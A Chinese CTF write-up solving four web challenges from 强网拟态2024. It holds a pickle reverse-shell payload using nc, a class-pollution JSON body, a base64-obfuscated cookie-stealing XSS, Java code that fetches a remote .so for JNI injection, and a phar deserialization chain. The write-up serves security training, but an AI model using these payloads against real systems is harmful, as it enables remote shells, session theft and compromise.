强网拟态2024 WEB(全解)
ez_pickle
绕过RestrictedUnpickler的限制
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []
safe_modules = {
'math',
'datetime',
'json',
'collections',
}
safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper
@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)
@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)
file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)
return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)
@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})
@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
注册完之后login,再upload路由下直接写pickle的payload
c-jwt-cracker密钥爆不出来,原型链污染(傻逼了
python原型链污染 https://tttang.com/archive/1876/
修改secret_key , safe_modules, safe_names 直接就可以任意执行pickler 。
{"username":"Ki1ro","password":"123456", "__init__" : {"__globals__" : {"safe_modules":["123"],"safe_names":["123456"],"secret_key":"123456"}}}
能够访问upload,白名单也被污染空了,现在就是生成一个pkl文件用来反序列化
import pickle
import os
class genpoc(object):
def __reduce__(self):
s = """nc xxxxxxxxx xx -e /bin/sh"""
return os.system, (s,)
e = genpoc()
with open("./test.pickle", "wb") as f:
pickle.dump(e, f)
Spreader
源码如下
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {
const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};
router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});
router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});
router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;
const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');
const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');
const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');
const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');
const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');
const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');
const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');
const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');
const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');
posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});
router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};
首先xss将privileged的cookie放在store里,然后以privileged身份登录再发一个留言让admin读取,将admin的cookie放在store里,最后以admin登录获取flag
const url = 'http://localhost:3000/store';
const data = {
cookie1:btoa(document.cookie)
};
const encodedData = new URLSearchParams(data);
fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: encodedData,
})
Paload:
<script > window['ev'+'al'](atob('Y29uc3QgdXJsID0gJ2h0dHA6Ly9sb2NhbGhvc3Q6MzAwMC9zdG9yZSc7DQoNCmNvbnN0IGRhdGEgPSB7DQogICAgY29va2llMTpidG9hKGRvY3VtZW50LmNvb2tpZSkNCn07DQoNCmNvbnN0IGVuY29kZWREYXRhID0gbmV3IFVSTFNlYXJjaFBhcmFtcyhkYXRhKTsNCg0KZmV0Y2godXJsLCB7DQogIG1ldGhvZDogJ1BPU1QnLA0KICBoZWFkZXJzOiB7DQogICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnLA0KICB9LA0KICBib2R5OiBlbmNvZGVkRGF0YSwNCn0pDQoudGhlbihyZXNwb25zZSA9PiB7DQoNCn0p'))</script >
OnlineRunner
题目禁止了import,直接执行java代码读文件
String filePath = "path/to/your/file.txt"; // 替换为你的文件路径
try {
// 使用 FileReader 和 BufferedReader 读取文件
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(filePath));
String line;
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
reader.close();
} catch (java.io.IOException e) {
e.printStackTrace();
}
可以通过远程加载so文件来JNI注入
String fileURL = "http://xxx.xxx.xxx.xxx/"; // 替换为实际的文件 URL
String saveDir = "/tmp/xxx"; // 替换为实际保存的目录路径
try {
// 创建 URL 对象
java.net.URL url = new java.net.URL(fileURL);
java.io.InputStream in = new java.io.BufferedInputStream(url.openStream());
java.io.FileOutputStream fos = new java.io.FileOutputStream(saveDir);
byte[] buffer = new byte[2048];
int bytesRead;
// 读取文件并写入输出流
while ((bytesRead = in.read(buffer, 0, buffer.length)) != -1) {
fos.write(buffer, 0, bytesRead);
}
// 关闭流
fos.close();
in.close();
System.out.println("文件下载成功!");
} catch (Exception e) {
System.out.println("下载失败: " + e.toString());
}
但是被waf了加载不进去so文件
Capoo
源码
<?php
class CapooObj {
public function __wakeup()
{
$action = $this->action;
$action = str_replace("\"", "", $action);
$action = str_replace("\'", "", $action);
$banlist = "/(flag|php|base|cat|more|less|head|tac|nl|od|vi|sort|uniq|file|echo|xxd|print|curl|nc|dd|zip|tar|lzma|mv|www|\~|\`|\r|\n|\t|\ |\^|ls|\.|tail|watch|wget|\||\;|\:|\(|\)|\{|\}|\*|\?|\[|\]|\@|\\|\=|\<)/i";
if(preg_match($banlist, $action)){
die("Not Allowed!");
}
system($this->action);
}
}
header("Content-type:text/html;charset=utf-8");
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['capoo'])) {
$file = $_POST['capoo'];
if (file_exists($file)) {
$data = 9file_get_contents($file);
$base64 = base64_encode($data);
} else if (substr($file, 0, strlen("http://")) === "http://") {
$data = file_get_contents($_POST['capoo'] . "/capoo.gif");
if (strpos($data, "PILER") !== false) {
die("Capoo piler not allowed!");
}
file_put_contents("capoo_img/capoo.gif", $data);
die("Download Capoo OK");
} else {
die('Capoo does not exist.');
}
} else {
die('No capoo provided.');
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Display Capoo</title>
</head>
<body>
<img style='display:block; width:100px;height:100px;' id='base64image'
src='data:image/gif;base64, <?php echo $base64;?>' />
</body>
</html>
远程写个phar文件,要包含PILER字符串内容
Phar文件
<?php
highlight_file(__FILE__);
class CapooObj
{
var $action='';
}
@unlink('test.phar');
$phar=new Phar('test.phar'); //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o=new CapooObj();
$o->action='whoami';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","m1xi@n"); //添加要压缩的文件
$phar->stopBuffering();
gzip压缩后改为gif,capoo=http://ip:port#下载后phar://访问
虽然报错但可以执行,然后diff读文件拿flag读 flag-33ac806f
0 条评论
可输入 255 字